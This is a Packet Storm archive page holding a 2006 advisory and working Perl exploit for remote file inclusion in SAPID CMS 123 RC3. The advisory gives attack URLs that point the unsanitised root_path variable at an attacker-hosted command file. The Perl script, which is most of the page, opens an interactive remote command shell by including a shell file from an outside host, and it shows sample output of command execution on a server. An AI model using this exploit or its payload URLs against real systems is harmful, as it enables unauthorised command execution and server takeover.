what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sapidCMS.txt

sapidCMS.txt
Posted Aug 18, 2006
Authored by Simo64 | Site morx.org

SAPID CMS version 123 RC3 suffers from remote file inclusion vulnerabilities. Full exploit provided.

tags | exploit, remote, vulnerability, file inclusion
SHA-256 | a1d65b8c50c6523f4fa371f407a7d84f02f90653bfa135df4cecfbe994f8d604

sapidCMS.txt

Change Mirror Download
#########################################################################
# Title: SAPID CMS remote File Inclusion Vulnerabilities
#
# Author: Simo64 <simo64_at_morx_org>
#
# Discovered: 06 Aout 2006
#
# MorX Security Research Team
#
# http://www.morx.org
#
# Vendor : SAPID CMS
#
# Version : 123 rc3
#
# Website : http://sapid.sourceforge.net
#
# Severity: Critical
#
# Details:
#
#
# [+] Remote File Inclusion
#
# 1) vulnerable code in usr/extensions/get_infochannel.inc.php lines( 8 - 9 )
#
# if(!defined("common_extfunctions")) { define("common_extfunctions", "loaded");
# include($root_path."usr/system/common_extfunctions.inc.php"); }
#
# 2) vulnerable code in usr/extensions/get_tree.inc.php lines( 9 - 10 )
#
# if(!defined("common_extfunctions")) { define("common_extfunctions", "loaded");
# include($GLOBALS["root_path"]."usr/system/common_extfunctions.inc.php"); }
#
# $root_path , $GLOBALS["root_path"] variable are not sanitized ,before it can be used to include files
#
# [-] Exploit :
#
# http://localhost/usr/extensions/get_infochannel.inc.php?root_path=http://attacker/cmd.txt?cmd=id;pwd
#
# http://localhost/usr/extensions/get_tree.inc.php?GLOBALS["root_path"]=http://attacker/cmd.txt?cmd=id;pwd
#
#======================================
# Poc Remote Command Execution Exploit:
#======================================
#
# http://www.morx.org/sapid.txt
#
# C:\>perl sapid.pl http://127.0.0.1
#
# ===============================================================
# = SAPID 123_rc3 (rootpath) Remote Command Execution Exploit =
# ===============================================================
# = MorX Security Research Team - www.morx.org =
# = Coded by Simo64 - simo64@www.morx.org =
# ===============================================================

# simo64@morx.org :~$ id; pwd; ls
# uid=48(apache) gid=48(apache) groups=48(apache)
# get_calendar.inc.php
# get_filter_list.inc.php
# get_gb_records.inc.php
# get_infochannelfilter.inc.php
# get_infochannel.inc.php
# get_rss.inc.php
# get_searchresults.inc.php
# get_survey.inc.php
# get_track.inc.php
# get_tree.inc.php
# soap_call.inc.php
# /home/public_html/sapid/usr/extensions
# simo64@morx.org :~$ exit
#
# Enjoy !
#
#!/usr/bin/perl


use LWP::Simple;

print "\n===============================================================\n";
print "= SAPID 123_rc3 (rootpath) Remote Command Execution Exploit =\n";
print "===============================================================\n";
print "= MorX Security Research Team - www.morx.org =\n";
print "= Coded by Simo64 - simo64\@www.morx.org =\n";
print "===============================================================\n\n";

my $targ,$rsh,$path,$con,$cmd,$data,$getit ;

$targ = $ARGV[0];
$rsh = $ARGV[1];

if(!$ARGV[1]) {$rsh = "http://zerostag.free.fr/sh.txt";}

if(!@ARGV) { &usage;exit(0);}

chomp($targ);
chomp($rsh);

$path = $targ."/usr/extensions/get_infochannel.inc.php";
$con = get($path) || die "[-]Cannot connect to Host";

sub usage(){
print "Usage : perl $0 host/path [OPTION]\n\n";
print "Exemples : perl $0 http://127.0.0.1\n";
print " perl $0 http://127.0.0.1 http://yoursite/yourcmd.txt\n\n";
}

while ()
{
print "simo64\@morx.org :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { print "\nEnjoy !\n\n";exit(0);}
$getit = $path."?root_path=".$rsh."?&cmd=".$cmd;
$data=get($getit);
if($cmd eq ""){ print "Please enter command !\n"; }
else{ print $data ;}
}
Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close